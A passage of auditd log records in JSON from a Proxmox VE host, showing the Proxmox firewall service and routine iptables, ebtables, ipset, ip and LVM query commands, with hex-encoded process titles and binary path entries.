nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.501:62531): proctitle=\"iptables-save\""} {"@timestamp":1781964185284,"@rawstring":"node=pve type=PATH msg=audit(1781964185.284:59946): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775497,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.497:62530): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964185284,"@rawstring":"node=pve type=PATH msg=audit(1781964185.284:59946): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.494:62529): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964185280,"@rawstring":"node=pve type=PATH msg=audit(1781964185.280:59945): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775493,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.493:62528): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964185280,"@rawstring":"node=pve type=PATH msg=audit(1781964185.280:59945): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775493,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.493:62527): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964185277,"@rawstring":"node=pve type=PATH msg=audit(1781964185.277:59944): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775488,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.488:62526): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964185277,"@rawstring":"node=pve type=PATH msg=audit(1781964185.277:59944): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775482,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.482:62525): proctitle=\"ip6tables-save\""} {"@timestamp":1781964185276,"@rawstring":"node=pve type=PATH msg=audit(1781964185.276:59943): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775473,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.473:62524): proctitle=\"iptables-save\""} {"@timestamp":1781964185276,"@rawstring":"node=pve type=PATH msg=audit(1781964185.276:59943): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.469:62523): proctitle=69707365740073617665"} {"@timestamp":1781964185276,"@rawstring":"node=pve type=PATH msg=audit(1781964185.276:59942): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775463,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.463:62522): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964185272,"@rawstring":"node=pve type=PATH msg=audit(1781964185.272:59941): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964775457,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964775.457:62521): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964185272,"@rawstring":"node=pve type=PATH msg=audit(1781964185.272:59941): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964774735,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964774.735:62520): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964185272,"@rawstring":"node=pve type=PATH msg=audit(1781964185.272:59941): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964774702,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964774.702:62519): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964185264,"@rawstring":"node=pve type=PATH msg=audit(1781964185.264:59940): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964770.583:62518): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185264,"@rawstring":"node=pve type=PATH msg=audit(1781964185.264:59940): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964770.583:62517): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185258,"@rawstring":"node=pve type=PATH msg=audit(1781964185.258:59939): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964770.583:62516): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185258,"@rawstring":"node=pve type=PATH msg=audit(1781964185.258:59939): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770576,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964770.576:62515): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185253,"@rawstring":"node=pve type=PATH msg=audit(1781964185.253:59938): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770576,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964770.576:62514): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185253,"@rawstring":"node=pve type=PATH msg=audit(1781964185.253:59938): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964770576,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964770.576:62513): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185246,"@rawstring":"node=pve type=PATH msg=audit(1781964185.246:59937): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765566,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.566:62512): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185246,"@rawstring":"node=pve type=PATH msg=audit(1781964185.246:59937): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765566,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.566:62511): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185239,"@rawstring":"node=pve type=PATH msg=audit(1781964185.239:59936): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765566,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.566:62510): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964185239,"@rawstring":"node=pve type=PATH msg=audit(1781964185.239:59936): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.558:62509): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964184888,"@rawstring":"node=pve type=PATH msg=audit(1781964184.888:59935): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.558:62508): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964184888,"@rawstring":"node=pve type=PATH msg=audit(1781964184.888:59935): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.558:62507): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964184847,"@rawstring":"node=pve type=PATH msg=audit(1781964184.847:59934): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765446,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.446:62506): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964184847,"@rawstring":"node=pve type=PATH msg=audit(1781964184.847:59934): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765443,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.443:62505): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964183219,"@rawstring":"node=pve type=PATH msg=audit(1781964183.219:59933): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.442:62504): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964183219,"@rawstring":"node=pve type=PATH msg=audit(1781964183.219:59933): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.442:62503): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964183219,"@rawstring":"node=pve type=PATH msg=audit(1781964183.219:59932): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.438:62502): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964183219,"@rawstring":"node=pve type=PATH msg=audit(1781964183.219:59931): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765432,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.432:62501): proctitle=\"ip6tables-save\""} {"@timestamp":1781964183212,"@rawstring":"node=pve type=PATH msg=audit(1781964183.212:59930): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765426,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.426:62500): proctitle=\"iptables-save\""} {"@timestamp":1781964183212,"@rawstring":"node=pve type=PATH msg=audit(1781964183.212:59930): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765420,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.420:62499): proctitle=\"ip6tables-save\""} {"@timestamp":1781964183212,"@rawstring":"node=pve type=PATH msg=audit(1781964183.212:59929): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765414,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.414:62498): proctitle=\"iptables-save\""} {"@timestamp":1781964183212,"@rawstring":"node=pve type=PATH msg=audit(1781964183.212:59928): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765411,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.411:62497): proctitle=\"ebtables-restore\""} {"@timestamp":1781964178206,"@rawstring":"node=pve type=PATH msg=audit(1781964178.206:59927): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765409,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.409:62496): proctitle=\"ebtables-restore\""} {"@timestamp":1781964178206,"@rawstring":"node=pve type=PATH msg=audit(1781964178.206:59927): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765404,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.404:62495): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964178206,"@rawstring":"node=pve type=PATH msg=audit(1781964178.206:59926): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765399,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.399:62494): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964178206,"@rawstring":"node=pve type=PATH msg=audit(1781964178.206:59925): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765394,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.394:62493): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964178195,"@rawstring":"node=pve type=PATH msg=audit(1781964178.195:59924): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765390,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.390:62492): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964178195,"@rawstring":"node=pve type=PATH msg=audit(1781964178.195:59924): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.385:62491): proctitle=697073657400726573746F7265"} {"@timestamp":1781964178195,"@rawstring":"node=pve type=PATH msg=audit(1781964178.195:59923): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.378:62490): proctitle=\"ip6tables-save\""} {"@timestamp":1781964178195,"@rawstring":"node=pve type=PATH msg=audit(1781964178.195:59922): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765373,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.373:62489): proctitle=\"iptables-save\""} {"@timestamp":1781964175228,"@rawstring":"node=pve type=PATH msg=audit(1781964175.228:59921): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765369,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.369:62488): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964175228,"@rawstring":"node=pve type=PATH msg=audit(1781964175.228:59921): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765366,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.366:62487): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964175225,"@rawstring":"node=pve type=PATH msg=audit(1781964175.225:59920): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765365,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.365:62486): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964175225,"@rawstring":"node=pve type=PATH msg=audit(1781964175.225:59920): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765365,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.365:62485): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964175224,"@rawstring":"node=pve type=PATH msg=audit(1781964175.224:59919): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.361:62484): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964175224,"@rawstring":"node=pve type=PATH msg=audit(1781964175.224:59919): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765355,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.355:62483): proctitle=\"ip6tables-save\""} {"@timestamp":1781964175224,"@rawstring":"node=pve type=PATH msg=audit(1781964175.224:59918): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765348,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.348:62482): proctitle=\"iptables-save\""} {"@timestamp":1781964175219,"@rawstring":"node=pve type=PATH msg=audit(1781964175.219:59917): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.344:62481): proctitle=69707365740073617665"} {"@timestamp":1781964175219,"@rawstring":"node=pve type=PATH msg=audit(1781964175.219:59917): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765338,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.338:62480): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964175219,"@rawstring":"node=pve type=PATH msg=audit(1781964175.219:59917): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964765331,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964765.331:62479): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964175213,"@rawstring":"node=pve type=PATH msg=audit(1781964175.213:59916): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964764637,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964764.637:62478): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964175213,"@rawstring":"node=pve type=PATH msg=audit(1781964175.213:59916): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964764608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964764.608:62477): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964175207,"@rawstring":"node=pve type=PATH msg=audit(1781964175.207:59915): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760546,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964760.546:62476): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964175207,"@rawstring":"node=pve type=PATH msg=audit(1781964175.207:59915): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760546,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964760.546:62475): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964175201,"@rawstring":"node=pve type=PATH msg=audit(1781964175.201:59914): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760546,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964760.546:62474): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964175201,"@rawstring":"node=pve type=PATH msg=audit(1781964175.201:59914): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964760.540:62473): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964175194,"@rawstring":"node=pve type=PATH msg=audit(1781964175.194:59913): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964760.540:62472): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} 